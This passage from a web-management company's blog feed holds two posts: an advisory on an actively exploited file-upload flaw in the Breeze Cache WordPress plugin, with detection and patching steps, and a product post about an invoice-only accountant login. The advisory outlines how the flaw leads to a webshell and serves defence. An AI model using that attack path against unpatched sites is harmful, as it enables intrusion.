Breeze Cache WordPress plugin in a single 24-hour window in late April 2026. &lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-3844&quot;&gt;CVE-2026-3844&lt;/a&gt; is an unauthenticated arbitrary file upload, scored CVSS 9.8, and ends in remote code execution. &lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;Breeze&lt;/a&gt; has 400,000+ active installs, and Cloudways ships it as the default cache plugin on its WordPress hosting platform.&lt;/p&gt;
&lt;p&gt;This is a Cloudways-flavoured problem. Breeze is &lt;a href=&quot;https://www.cloudways.com/blog/breeze-cache-plugin-security-advisory/&quot;&gt;Cloudways&apos; own cache plugin&lt;/a&gt; and ships preinstalled on every new WordPress install on the Cloudways platform. If you are not a Cloudways customer and you have not specifically chosen to install Breeze on a self-hosted site, you are not affected by this CVE and you can stop reading. If you are on Cloudways, or if you reached for Breeze as a free WP Rocket alternative on a self-hosted site, read on.&lt;/p&gt;
&lt;p&gt;The plugin author patched it in version 2.4.5 on April 21, 2026, and shipped two follow-up versions (2.4.6, 2.4.7) since. The technical fix takes a minute per site. The harder question is which sites in your portfolio are still on a vulnerable build, and how quickly you can prove it.&lt;/p&gt;
&lt;p&gt;We queried our own extension inventory the day Wordfence&apos;s advisory landed. Hundreds of paying mySites.guru subscriber sites were running pre-2.4.5 Breeze. One was on Breeze 1.0.10, an eight-year-old build. We emailed every affected customer the same day.&lt;/p&gt;
&lt;p&gt;This post covers what CVE-2026-3844 actually is, how to detect a compromise, and how to find every Breeze install across a portfolio of WordPress sites without logging into 50 dashboards.&lt;/p&gt;
&lt;h2&gt;How to Find Every Breeze Cache Install with mySites.guru&lt;/h2&gt;
&lt;p&gt;If you manage more than three or four WordPress sites, manual inspection is the wrong tool for a vulnerability like this. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;extension inventory&lt;/a&gt; tracks every plugin on every connected WordPress site, with the version each one is running. Search for &lt;code&gt;breeze&lt;/code&gt;, and the dashboard returns every site with the plugin installed, colour-coded against the patched version.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru subscribers: jump straight to the Breeze inventory&lt;/p&gt;
  &lt;p&gt;If you have a &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;mySites.guru account&lt;/a&gt;, this link opens the extension search filtered for Breeze across every WordPress site you have connected. Anything below 2.4.5 needs an update before you close your laptop today: &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/afb699d931c947dff574d923a567eb0e&quot;&gt;Breeze Cache - extension search&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If you do not subscribe yet, you can connect your sites and run the same search in a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;. The extension inventory is one of the things the audit covers.&lt;/p&gt;
&lt;h2&gt;What Is the Breeze Cache CVE-2026-3844 Vulnerability?&lt;/h2&gt;
&lt;p&gt;CVE-2026-3844 is an unauthenticated arbitrary file upload vulnerability in Cloudways&apos; Breeze Cache plugin. NIST scored it CVSS 9.8 (critical) and assigned CWE-434.&lt;/p&gt;
&lt;p&gt;The bug lives in &lt;code&gt;fetch_gravatar_from_remote&lt;/code&gt; inside &lt;code&gt;class-breeze-cache-cronjobs.php&lt;/code&gt;. When the &quot;Host Files Locally - Gravatars&quot; option is enabled, the plugin downloads avatar images from a URL passed in via a parameter, with no validation that the URL points to Gravatar or that the response is actually an image. An attacker passes their own URL, the plugin fetches whatever the attacker is serving, and writes it to the filesystem. From there it is one HTTP request to drop a webshell.&lt;/p&gt;
&lt;p&gt;The exploit pre-condition is the &lt;strong&gt;Host Files Locally - Gravatars&lt;/strong&gt; option, which is off by default. Cloudways&apos; own &lt;a href=&quot;https://www.cloudways.com/blog/breeze-cache-plugin-security-advisory/&quot;&gt;security advisory&lt;/a&gt; notes that the platform&apos;s default safeguards block direct PHP file access, which breaks the file-upload-to-RCE chain on Cloudways-hosted sites unless that protection has been removed. Self-hosted WordPress sites and customers on hosts without that safeguard get the full RCE.&lt;/p&gt;
&lt;p&gt;The patch in 2.4.5 enforces official Gravatar sources only. Affected versions are everything up to and including &lt;strong&gt;2.4.4&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;Why Breeze Cache Is on So Many WordPress Sites&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;Breeze&lt;/a&gt; is a free WordPress cache plugin from Cloudways and reports 400,000+ active installs on WordPress.org. Its scale comes from two distinct populations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cloudways-hosted sites.&lt;/strong&gt; Breeze is the default cache plugin on the Cloudways managed-WordPress platform. New WordPress installs on Cloudways get it automatically.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-hosted sites.&lt;/strong&gt; Site owners reach for Breeze as a free alternative to WP Rocket. It does enough of the same job to be the obvious pick when budget is the constraint.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both populations have the same problem with this CVE: it was installed once, configured once, and then forgotten about. Plugin updates auto-applied or did not. Nobody routinely audits which sites have which version of which cache plugin until something like Wordfence&apos;s advisory lands.&lt;/p&gt;
&lt;h2&gt;How Bad Is the Breeze Cache Active Exploitation?&lt;/h2&gt;
&lt;p&gt;Wordfence&apos;s &lt;a href=&quot;https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/&quot;&gt;active-exploitation report&lt;/a&gt; says the firewall blocked 3,936 attack attempts in the 24 hours preceding their post. Public proof-of-concept exploits are already on GitHub. &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hackers-exploit-file-upload-bug-in-breeze-cache-wordpress-plugin/&quot;&gt;BleepingComputer&lt;/a&gt; and &lt;a href=&quot;https://securityaffairs.com/191267/uncategorized/over-400000-sites-at-risk-as-hackers-exploit-breeze-cache-plugin-flaw-cve-2026-3844.html&quot;&gt;SecurityAffairs&lt;/a&gt; ran follow-up coverage in the same window.&lt;/p&gt;
&lt;p&gt;The CVSS-9.8 score combined with the &quot;unauthenticated&quot; qualifier is what makes this serious. The attacker needs no login, no admin click, no chained exploit. They need to find a site running pre-2.4.5 Breeze with the Gravatars option on, and the file upload works.&lt;/p&gt;
&lt;h2&gt;How Do I Check If a Breeze Cache Site Has Been Compromised?&lt;/h2&gt;
&lt;p&gt;Cloudways&apos; advisory points at one specific path. The Breeze cache directory is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-content/cache/breeze-extra/gravatars/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That directory should only ever contain image files. Per Cloudways&apos; guidance, anything else in there is suspicious:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PHP files (&lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.phtml&lt;/code&gt;, &lt;code&gt;.phar&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.htaccess&lt;/code&gt; overrides (attackers use these to make image-extension files execute as PHP)&lt;/li&gt;
&lt;li&gt;Files with no extension&lt;/li&gt;
&lt;li&gt;Files with double extensions (&lt;code&gt;avatar.jpg.php&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find any of those, treat the site as potentially compromised. Pull the site offline if you can, run a full malware scan against the whole webspace (not just &lt;code&gt;/wp-content/cache/&lt;/code&gt;), and inspect &lt;code&gt;wp-config.php&lt;/code&gt; and other entry-point files for injected code.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Webshells rarely sit alone&lt;/p&gt;
  &lt;p&gt;If an attacker landed a payload through the Gravatars cache path, assume they used it to drop additional files elsewhere on the site. Scope a malware scan against the entire webspace, including theme and core directories. The original entry point is usually the smallest piece of the infection.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Update to Breeze 2.4.7, Not Just 2.4.5&lt;/h2&gt;
&lt;p&gt;Cloudways shipped two more Breeze releases after the original CVE patch. The summary is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2.4.5&lt;/strong&gt; - Patches CVE-2026-3844 by restricting Gravatar fetches to official sources.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.4.6&lt;/strong&gt; - CPU and multisite fixes after 2.4.5.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.4.7&lt;/strong&gt; - Fixes a Varnish purge regression introduced in 2.4.6.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are auditing now, target &lt;strong&gt;2.4.7&lt;/strong&gt;. Sites stuck on 2.4.5 are no longer vulnerable to CVE-2026-3844, but they are running into the regressions the later versions fix. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update&lt;/a&gt; will push every site to the current version with backups taken first, so a regression on one site does not stop the rollout.&lt;/p&gt;
&lt;h2&gt;What We Found Across Our Own Subscriber Base&lt;/h2&gt;
&lt;p&gt;When Wordfence published, we ran one extension-inventory query against the platform. The number was bigger than we expected. Hundreds of paying mySites.guru subscriber sites were running Breeze versions below 2.4.5. We emailed every affected customer the same day with the list of their specific sites and the versions installed.&lt;/p&gt;
&lt;p&gt;The patterns in that data:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The vulnerable population was spread across &lt;strong&gt;every&lt;/strong&gt; Breeze customer we had. Not most. All. Two weeks after the patch, none of our subscribers were on 2.4.5 or later through their own update workflow.&lt;/li&gt;
&lt;li&gt;Version drift inside a single account was the norm. One customer had ten sites running six different Breeze builds, ranging from 2.0.24 (June 2022) to 2.4.2 (March 2026). All were vulnerable, but they had nothing in common operationally except &quot;we forgot about this&quot;.&lt;/li&gt;
&lt;li&gt;The oldest install we saw was Breeze &lt;strong&gt;1.0.10&lt;/strong&gt;. That build is from around 2018. The site has been running an eight-year-old cache plugin under continuous CMS updates since then, with nobody noticing.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is the same shape of problem that the &lt;a href=&quot;https://mysites.guru/blog/essential-plugin-wordpress-backdoor/&quot;&gt;Essential Plugin backdoor&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/&quot;&gt;Smart Slider 3 Pro supply chain compromise&lt;/a&gt; exposed earlier in 2026. The plugin you installed once and never thought about again is the one attackers find first. When the next disclosure lands, the operational question is the same one Breeze just asked: can you list every site where this plugin is installed, and the version each one is running, before you close your laptop today?&lt;/p&gt;
&lt;h2&gt;Manual Detection: How to Audit Breeze Without mySites.guru&lt;/h2&gt;
&lt;p&gt;If you only have a handful of WordPress sites and do not use a portfolio dashboard, here is the manual sequence:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;List sites.&lt;/strong&gt; Write down every WordPress site you manage. Include staging environments. Include sites that are technically retired but still resolving DNS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;For each site, log in to wp-admin.&lt;/strong&gt; Open Plugins. Look for &quot;Breeze&quot;. Note the version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update.&lt;/strong&gt; Anything below 2.4.5 needs immediate update to 2.4.7.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the Gravatars setting.&lt;/strong&gt; In Breeze settings, find Host Files Locally - Gravatars. Disable it on any site that does not specifically need locally-hosted Gravatars.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Inspect the cache directory.&lt;/strong&gt; SFTP into each site and look at &lt;code&gt;/wp-content/cache/breeze-extra/gravatars/&lt;/code&gt;. Confirm only image files are present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If anything looks wrong, scan.&lt;/strong&gt; Use a deep file scanner (WPScan, Wordfence&apos;s own scanner, or any of the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;malware scanners&lt;/a&gt; that scan the whole webspace, not just plugin files).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Steps 1 through 4 take roughly five minutes per site if you have all the credentials at hand and nothing fights you. Step 5 doubles that. Across 50 sites, that is a working day for one plugin disclosure. The next disclosure costs you another working day.&lt;/p&gt;
&lt;h2&gt;Why Plugin Audits Should Be Continuous, Not Incident-Driven&lt;/h2&gt;
&lt;p&gt;mySites.guru exists because incident-driven plugin audits are the wrong shape of work. Reacting to every Wordfence advisory by manually auditing your portfolio is skilled work that doesn&apos;t scale, done under time pressure right when calm thinking matters most.&lt;/p&gt;
&lt;p&gt;The CMS-management work that does scale looks different:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A continuously-updated extension inventory.&lt;/strong&gt; Every time a connected site reports its plugin list, the inventory updates. There is no &quot;audit moment&quot; - the inventory is always current.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-referenced against vulnerability feeds.&lt;/strong&gt; When a CVE drops for a plugin you manage, you know within hours which of your sites are affected. Not &quot;which CVEs landed this week&quot; - which of &lt;em&gt;your&lt;/em&gt; sites have &lt;em&gt;this&lt;/em&gt; CVE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bulk update with backup-first.&lt;/strong&gt; When the answer is &quot;update to 2.4.7&quot;, you push the update to every affected site in a batch with rollback available, not by clicking through 50 wp-admin sessions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Real-time alerts on file changes.&lt;/strong&gt; If an attacker did get a webshell onto one of your sites, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;file-change alerting&lt;/a&gt; catches it the moment the new file appears, not weeks later when the SEO spam shows up in Google.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can build all of this yourself with WP-CLI, cron jobs, and a database. If you have time, do. Most of the agencies and freelancers we work with did the maths on it and decided the £19.99/month was less expensive than building and maintaining the same thing.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/&quot;&gt;Wordfence active exploitation report (May 2026)&lt;/a&gt; - Original telemetry on the 3,936 attacks in 24 hours.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cloudways.com/blog/breeze-cache-plugin-security-advisory/&quot;&gt;Cloudways Breeze Cache security advisory&lt;/a&gt; - Vendor guidance, including the &lt;code&gt;/wp-content/cache/breeze-extra/gravatars/&lt;/code&gt; IOC path.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/hackers-exploit-file-upload-bug-in-breeze-cache-wordpress-plugin/&quot;&gt;BleepingComputer coverage of the Breeze exploitation&lt;/a&gt; - Independent reporting with technical detail.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://securityaffairs.com/191267/uncategorized/over-400000-sites-at-risk-as-hackers-exploit-breeze-cache-plugin-flaw-cve-2026-3844.html&quot;&gt;SecurityAffairs: 400,000 sites at risk&lt;/a&gt; - Includes context on the exploitation timeline.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-3844&quot;&gt;NVD entry for CVE-2026-3844&lt;/a&gt; - Official CVSS scoring and CPE data.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/breeze/&quot;&gt;WordPress.org Breeze plugin page&lt;/a&gt; - Current version, install count, changelog.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Run a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; to see every plugin on every WordPress site you manage, including which ones still need the Breeze 2.4.5+ update.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>vulnerability</category><category>plugins</category><category>cloudways</category><category>malware</category><enclosure url="https://mysites.guru/_astro/breeze-cache-cve-2026-3844-active-exploitation.BU4MRMQP.png" length="0" type="image/png"/></item><item><title>A Login for Your Accountant, Not Your Sites</title><link>https://mysites.guru/blog/accountant-portal-invoice-access/</link><guid isPermaLink="true">https://mysites.guru/blog/accountant-portal-invoice-access/</guid><description>Invite your bookkeeper or accountant to mySites.guru with read-only access to invoices only. No site access, no tools, no team data. One captive page, nothing else.</description><pubDate>Thu, 16 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is a blog post about a mySites.guru feature. Accountants can now log in to mySites.guru themselves to grab your past invoices.&lt;/p&gt;
&lt;p&gt;If you run a web agency on mySites.guru, your accountant does not need to see your client sites. They need your invoices. And yet most SaaS tools force you to pick between two bad options: hand over full access and trust the bookkeeper not to poke around, or export a PDF of every invoice at month end and email the lot.&lt;/p&gt;
&lt;p&gt;We shipped a third option. It is called the &lt;strong&gt;Accountant Portal&lt;/strong&gt; and it is live today on every paid plan.&lt;/p&gt;
&lt;h2&gt;What Does the Accountant Portal Do?&lt;/h2&gt;
&lt;p&gt;The Accountant Portal is a new role type for &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members&lt;/a&gt;. When you add a user and pick &lt;strong&gt;Accountant only&lt;/strong&gt;, that user can log in, see your invoices, open any invoice in detail, and email a copy to themselves. That is the complete list. Every other page in the app returns 403 Access Denied.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That screenshot is the entire world an accountant can see. No sidebar, no tools menu, no team management, no settings. Just invoices.&lt;/p&gt;
&lt;h2&gt;Why Build a Separate Role Instead of Adding Permissions?&lt;/h2&gt;
&lt;p&gt;mySites.guru has had &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;team members with per-site and per-feature permissions&lt;/a&gt; for years. We could have added an &quot;invoices only&quot; toggle to the existing team form. We chose not to.&lt;/p&gt;
&lt;p&gt;A permission-based approach leaks. Every time we add a new feature (a new &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;tool&lt;/a&gt;, a new audit, a new dashboard widget) we have to remember to exclude the accountant role. One missed &lt;code&gt;#[IsGranted]&lt;/code&gt; check and the bookkeeper is suddenly looking at your &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;hacked-sites list&lt;/a&gt;. That is not a security model, that is a promise we have to keep renewing on every PR, and we will eventually forget one.&lt;/p&gt;
&lt;p&gt;The Accountant Portal inverts the default. Instead of maintaining a growing allowlist of what an accountant cannot see, we maintain a short allowlist of what they &lt;em&gt;can&lt;/em&gt; see:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/invoices&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/invoices/{id}&lt;/code&gt; (single invoice view)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/invoices/{id}/email&lt;/code&gt; (email invoice to self)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/login&lt;/code&gt;, &lt;code&gt;/logout&lt;/code&gt;, password reset&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A global request listener runs before every controller. If the logged-in user has &lt;code&gt;ROLE_ACCOUNTANT&lt;/code&gt; and the route is not on that allowlist, they get a 403. No controller has to opt in. No future feature can accidentally expose data. The &quot;captive portal&quot; stays captive, full stop.&lt;/p&gt;
&lt;h2&gt;How Do You Invite an Accountant?&lt;/h2&gt;
&lt;p&gt;Open your &lt;a href=&quot;https://manage.mysites.guru/en/teams/&quot;&gt;Your Team page&lt;/a&gt; and click &lt;strong&gt;Add Team Member&lt;/strong&gt;. Enter their name and email, then pick the &lt;strong&gt;Accountant only&lt;/strong&gt; option.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The help text tells you what you are agreeing to: &lt;em&gt;View and email invoices only. Cannot see any sites, cannot be assigned sites, and has no access to anything else.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Ticking &lt;strong&gt;Accountant only&lt;/strong&gt; hides the site picker entirely. There is no way to accidentally bundle a &quot;just this one site&quot; exception. Accountants are mutually exclusive with regular team members: one or the other, never both. The account saves, an invite email goes out with a password-reset link, and your accountant is up and running in under a minute.&lt;/p&gt;
&lt;h2&gt;What About Notifications and Activity Emails?&lt;/h2&gt;
&lt;p&gt;mySites.guru sends plenty of operational email: &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;failed backups&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;security alerts&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin update warnings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime pings&lt;/a&gt;. Your accountant does not want any of that, and you do not want them seeing it.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;getTeamMembers()&lt;/code&gt; call that feeds those notifications now excludes accountants by default. Billing emails (receipts, payment failures) still reach them, since that is the whole reason they have a login. Everything else skips them. You do not need to touch any notification preferences for this to work.&lt;/p&gt;
&lt;h2&gt;Can the Accountant Be Impersonated or Tricked Into Full Access?&lt;/h2&gt;
&lt;p&gt;No. The details that come up in security reviews:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ROLE_ACCOUNTANT&lt;/code&gt; is written to the same &lt;code&gt;roles&lt;/code&gt; column as every other role. One &lt;code&gt;hasRole()&lt;/code&gt; check, enforced centrally, not scattered across controllers.&lt;/li&gt;
&lt;li&gt;The authenticator checks for &lt;code&gt;ROLE_ACCOUNTANT&lt;/code&gt; on every successful login and force-redirects to &lt;code&gt;/invoices&lt;/code&gt;, overriding any stored target path. Even a bookmarked deep link lands on the captive page.&lt;/li&gt;
&lt;li&gt;A company owner can still &lt;a href=&quot;https://mysites.guru/blog/how-to-impersonate-your-mysites-guru-team-members/&quot;&gt;impersonate an accountant&lt;/a&gt; for debugging, but the reverse is impossible. An accountant has no impersonation UI, no team member list, and no access to the user-switching mechanic.&lt;/li&gt;
&lt;li&gt;The lockdown listener runs on every request, not just HTML routes. AJAX and JSON endpoints 403 too.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/passkeys-for-secure-login-to-mysites/&quot;&gt;Passkeys&lt;/a&gt; and 2FA work on accountant accounts the same as any other. I would recommend turning a passkey on regardless.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Does This Matter?&lt;/h2&gt;
&lt;p&gt;Bookkeepers are busy people handling invoices for a pile of clients at once. The last thing you want is yours clicking around in an &lt;a href=&quot;https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/&quot;&gt;unfamiliar control panel&lt;/a&gt; and accidentally &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;triggering a backup restore&lt;/a&gt; or firing off an email to a client who has no idea who they are. &quot;I&apos;ll just have a quick look round&quot; is how incidents start. With the Accountant Portal there is no &quot;round&quot; to look at, so the temptation never shows up.&lt;/p&gt;
&lt;p&gt;It is also honest. When you give your accountant a login, they should know exactly what they can and cannot see. A role labelled &lt;strong&gt;Accountant only (read-only invoice access)&lt;/strong&gt; with a yellow warning box on the invite form leaves nothing to interpret. Nobody is &quot;pretty sure&quot; they cannot see client data. They demonstrably cannot.&lt;/p&gt;
&lt;h2&gt;Why Do We Not Auto-Email Financial Data?&lt;/h2&gt;
&lt;p&gt;Plenty of SaaS tools will happily pump your invoice data to whoever you point them at, on whatever schedule you pick. We will not.&lt;/p&gt;
&lt;p&gt;Invoices are financial records. In the UK they fall under the &lt;a href=&quot;https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/&quot;&gt;UK GDPR&lt;/a&gt; and the &lt;a href=&quot;https://www.gov.uk/data-protection&quot;&gt;Data Protection Act 2018&lt;/a&gt;, and the &lt;a href=&quot;https://ico.org.uk/for-organisations/advice-for-small-organisations/whats-new/blogs/how-to-use-email-securely/&quot;&gt;ICO&apos;s own guidance&lt;/a&gt; is that plain SMTP email is not a secure channel for personal financial information. GDPR Article 32 (security of processing) says the same thing in EU terms. If your invoice touches anything health-related in the US, you are suddenly in HIPAA territory. Australia has the Privacy Act 1988. And the accounting regulators (ICAEW and AAT) expect members to keep client financial data inside access-controlled systems, not bouncing around inboxes.&lt;/p&gt;
&lt;p&gt;Email is plaintext. It travels over servers you do not control, sits in spam filters you do not administer, and hangs around in archives long after the recipient has left the firm. Auto-emailing an invoice to an accountant every month means a year of invoices sitting across four or five mail hops, indefinitely. If their mailbox is compromised next year, so is your billing history.&lt;/p&gt;
&lt;p&gt;The Accountant Portal inverts that flow. The accountant logs in with a password or a passkey, over TLS, to a page only they can see, and pulls the data when they need it. If they want a copy in their inbox, they can email a single invoice to themselves with one click. Same convenience, far less attack surface, and nobody is wondering two years from now whether a closed Yahoo account still has a client&apos;s billing address sat in it.&lt;/p&gt;
&lt;h2&gt;Why No PDFs?&lt;/h2&gt;
&lt;p&gt;The Accountant Portal does not render invoice PDFs. Invoices display as HTML, and if the accountant needs a saved file, their browser&apos;s Print to PDF handles it. That is a deliberate choice, and we are in reasonably good company on it.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://gds.blog.gov.uk/2018/07/16/why-gov-uk-content-should-be-published-in-html-and-not-pdf/&quot;&gt;Government Digital Service blog&lt;/a&gt; laid out why GOV.UK publishes content as HTML rather than PDF: PDFs are harder to search, awkward with screen readers, awkward to re-flow on mobile, and &lt;a href=&quot;https://www.gov.uk/guidance/publishing-accessible-documents&quot;&gt;ignore the browser settings&lt;/a&gt; (text size, contrast, preferred font) that a lot of readers actually rely on. The government&apos;s &lt;a href=&quot;https://accessibility.blog.gov.uk/2023/06/12/making-a-positive-change-pdf-to-html/&quot;&gt;Accessibility team&lt;/a&gt; went further in 2023 and started stripping legacy PDFs off GOV.UK. The ONS has now &lt;a href=&quot;https://service-manual.ons.gov.uk/content/content-types/pdf-and-word-documents&quot;&gt;stopped generating PDFs&lt;/a&gt; of its HTML content from 2026 onwards.&lt;/p&gt;
&lt;p&gt;Not everyone got the memo. The &lt;a href=&quot;https://statesassembly.je/publications/propositions/2026/p-57-2026&quot;&gt;States Assembly in Jersey&lt;/a&gt; has just moved the other way, making the PDF the authoritative version of each proposition and treating the HTML on the page as a convenience copy. Every publication now carries an info box saying the PDF is the official document. Two governments, same decade, opposite conclusions. I would not bet on Jersey ageing well on that one.&lt;/p&gt;
&lt;p&gt;Those reasons carry over to invoices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An HTML invoice respects the accountant&apos;s screen reader, their zoom level, and their high-contrast setting. A PDF locks you into 10 point text at whatever font happened to be embedded, whether that works for them or not.&lt;/li&gt;
&lt;li&gt;If we change a VAT number, a trading address, or a line-item format, we edit one template and every historical invoice picks it up. Regenerating a decade of PDFs every time HMRC tweaks a required field is not a good use of anyone&apos;s weekend.&lt;/li&gt;
&lt;li&gt;A rendered PDF of a simple invoice is routinely five to twenty times the size of the equivalent HTML. Across thousands of customers that becomes a lot of bandwidth and storage for a worse experience.&lt;/li&gt;
&lt;li&gt;Browsers already print HTML to PDF properly. The output is an accessible, tagged PDF that matches the reader&apos;s display preferences. Two clicks in Chrome and your accountant has a filing copy that actually works with their tooling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The part a lot of developers forget: every major operating system already has a first-class PDF renderer built in. macOS has had Print to PDF in the system print dialog since 2001. Windows 10 shipped Microsoft Print to PDF as a default printer back in 2015. Every mainstream Linux desktop exposes the same option via CUPS. Chrome, Safari, Firefox, and Edge all route into those system printers. So the PDF your accountant saves is one produced by Apple, Microsoft, or the CUPS team, using the same font rasterisation and colour management their operating system uses for everything else on screen.&lt;/p&gt;
&lt;p&gt;Rendering a PDF server-side in PHP cannot get near that. The PHP options (mPDF, TCPDF, dompdf, wkhtmltopdf wrappers) are all fighting a frozen CSS subset, an embedded font list that never quite matches the source page, and assorted quirks around page breaks, ligatures, RTL text, emoji, and custom web fonts. I have lost enough Saturdays to TCPDF trying to line an invoice up with its HTML version to know the answer: ship the HTML, let the OS render the PDF.&lt;/p&gt;
&lt;p&gt;One more reason, and it is one the PDF-by-default crowd rarely thinks about: printing is not eco-friendly. A PDF exists to look like a sheet of paper, and the natural next step with a PDF is to print it. A 2019 study by &lt;a href=&quot;https://theshiftproject.org/en/article/unsustainable-use-online-video/&quot;&gt;The Shift Project&lt;/a&gt; put the global digital industry at roughly 4% of greenhouse gas emissions, and &lt;a href=&quot;https://www.gov.uk/government/publications/waste-prevention-programme-for-england-maximising-resources-minimising-waste&quot;&gt;paper is still the single biggest source of office waste in the UK&lt;/a&gt; according to Defra&apos;s waste prevention programme. Every unneeded invoice PDF is an invitation to hit print, and every printed invoice is ink, toner, paper, electricity, and a delivery lorry somewhere up the supply chain.&lt;/p&gt;
&lt;p&gt;An HTML invoice defaults to never being printed. If you want a filing copy you still can, but the default behaviour is &quot;read it on the screen and close the tab&quot; rather than &quot;print it and put it in a folder that nobody opens.&quot; Small thing per invoice. Not a small thing across thousands of accountants filing thousands of clients.&lt;/p&gt;
